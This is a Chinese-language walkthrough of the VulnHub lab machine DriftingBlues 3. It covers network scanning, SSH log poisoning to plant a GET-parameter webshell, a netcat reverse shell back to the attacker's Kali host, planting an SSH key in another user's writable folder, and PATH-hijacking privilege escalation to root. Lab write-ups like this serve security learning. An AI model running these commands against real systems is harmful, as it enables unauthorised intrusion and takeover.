靶机20 driftingblues3

描述: __________

获取标志

难度:简单

1、下载靶场

靶机名称:driftingblues

下载地址:

DriftingBlues: 3 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

靶机20 driftingblues3_第1张图片

靶机20 driftingblues3_第2张图片

导入成功,开启此虚拟机( 当页面出现 driftingblues login 时表示安装成功)。

靶机20 driftingblues3_第3张图片

3、获取靶机的flag(两个flag)

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、driftingblues 和kali在同一网段 | 已知 driftingblues 所在的网段

—— driftingblues IP地址:192.168.108.164/24

信息收集

获取 driftingblues 的IP地址

命令:arp-scan -I eth0 -l

靶机20 driftingblues3_第4张图片

端口扫描

命令:nmap -sV -p- -O 192.168.108.166

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

靶机20 driftingblues3_第5张图片

获取信息如下:

端口号

服务

版本

22

ssh

OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80

http

Apache httpd 2.4.38 ((Debian))

操作系统:OS details: Linux 4.15 - 5.6

查看80端口也没有什么发现,目录扫描获取到了一个 robots.txt 文件

dirb http://192.168.108.166

靶机20 driftingblues3_第6张图片

访问 http://192.168.108.166/eventadmins/ 之后又获得了提示信息:

有问题的ssh,用户名:john、buddyG,一个地址: /littlequeenofspades.html

靶机20 driftingblues3_第7张图片

进一步访问 http://192.168.108.166/littlequeenofspades.html 之后再源码里面发现了一个加密信息

靶机20 driftingblues3_第8张图片

解密之后获取到了一个新的地址:intruder?/adminsfixit.php

加密(base64):aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==

一次解密:intruder? L2FkbWluc2ZpeGl0LnBocA==

二次解密:intruder?/adminsfixit.php

继续访问 http://192.168.108.166/adminsfixit.php 之后发现是一个 SSH 身份验证的日志文件

靶机20 driftingblues3_第9张图片

登录ssh,并在用户名处写马(一句话木马,使用GET方式传参):

ssh ''@192.168.108.166

验证:http://192.168.108.166/adminsfixit.php?x=ls

靶机20 driftingblues3_第10张图片

webshell

通过日志文件给kali反弹shell

nc -lvvp 9999

?x=nc -e /bin/bash 192.168.108.129 9999

访问:http://192.168.108.166/adminsfixit.php?x=nc%20-e%20/bin/bash%20192.168.108.129%209999

拿到shell之后使用python改善一下交互方式:

python -c 'import pty;pty.spawn("/bin/bash")'

靶机20 driftingblues3_第11张图片

查看普通用户的时候发现了一个用户名叫 robertj 的用户,再该用户的家目录下发现了 .ssh 文件夹,但是和上一个靶机不同的是这里并没有看到ssh的公私钥文件,不过该文件夹对于其他用户来讲居然是可以写入文件,所以这个靶机提权的方式就是考验ssh公私钥登录。

思路:生成一堆ssh的公私钥,将公钥写入靶机,使用私钥登录

前提:ssh配置文件/etc/ssh/sshd_config 中 PubkeyAuthentication选项参数值为 yes

靶机20 driftingblues3_第12张图片

查看了一下发现果然在靶机该参数是开启的,那就简单了,直接上公钥

直接在目标机生成一个公钥:

ssh-keygen -t rsa

将生成的私钥保存到:

/home/robertj/.ssh/id_rsa

密码设置空密码即可,并将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证

靶机20 driftingblues3_第13张图片

下载私钥文件到本机直接登录就行

python2 -m SimpleHTTPServer 9998

wget http://192.168.108.166:9998/'id_rsa '

mv 'id_rsa ' id_rsa

chmod 400 id_rsa

使用ssh登录:

ssh [email protected] -i id_rsa

靶机20 driftingblues3_第14张图片

在 robert 用户的家目录下获取到第一个flag(user.txt)

靶机20 driftingblues3_第15张图片

提权

查看是否存在和sudo提权suid提权

sudo -l

find / -perm -4000 2>/dev/null

在这里没有什么好的发现,查看版本也不能使用脏牛提权

靶机20 driftingblues3_第16张图片

上传一个pspy64s,看看有没有什么定时执行的任务

靶机20 driftingblues3_第17张图片

结果这个思路貌似也不太行

靶机20 driftingblues3_第18张图片

换个脚本:linpeas.sh(这个脚本是一个辅助提权脚本,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码)

靶机20 driftingblues3_第19张图片


发现了一个前面忽略的程序

靶机20 driftingblues3_第20张图片

查看发现是乱码

靶机20 driftingblues3_第21张图片

直接执行一下该程序试试

靶机20 driftingblues3_第22张图片

可以看到,执行命令后,给我们返回了系统的网络信息、版本信息、以及中间这个,大概是靶机的hosts文件,猜测是调用了ifconfig、cat hosts、和uname命令

命令劫持提权:

原理:这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

使用:首先编写一个cat文件,内容为/bin/bash即可,然后添加当前文件添加到环境变量中(export PATH=/home/robertj:$PATH)

再次运行getinfo,提权成功

靶机20 driftingblues3_第23张图片

这里有个坑,不知道什么原因,虽然在靶机上的root家目录下找到了的第二个flag,但是打不开,需要下载下来才能打开

python2 -m SimpleHTTPServer 9999

wget http://192.168.108.166:9999/root.txt

靶机20 driftingblues3_第24张图片

你可能感兴趣的:(#,靶机,网络,安全,网络协议,ssh,服务器)